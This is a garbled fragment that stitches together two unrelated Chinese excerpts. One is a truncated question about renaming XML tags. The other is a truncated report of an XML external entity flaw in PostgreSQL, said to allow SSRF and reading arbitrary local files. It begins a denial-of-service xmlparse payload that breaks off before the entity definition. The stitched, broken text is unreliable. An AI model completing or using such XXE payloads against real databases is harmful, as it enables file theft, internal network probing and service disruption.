我的xml文件如下所示. <rule> <name>86</name> <ruleId>100</ruleId> <ruleVersion>1.0</ruleVersion> <brlVersion>1.0</brlVersion> </rule> 我需要用brlName替换name,我需要添加另一个标签作为drlName.输出应如下所示. <rule> <brlNam

最近国外安全人员发现了一个PostgreSQL（所有版本）基于错误XML外部实体执行的高危漏洞。 经测试，该漏洞可以从数据库服务器请求到内网（SSRF-服务器端请求伪造），并可以利用xml实体注入读取任意本地文件。 实例： DoS: select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [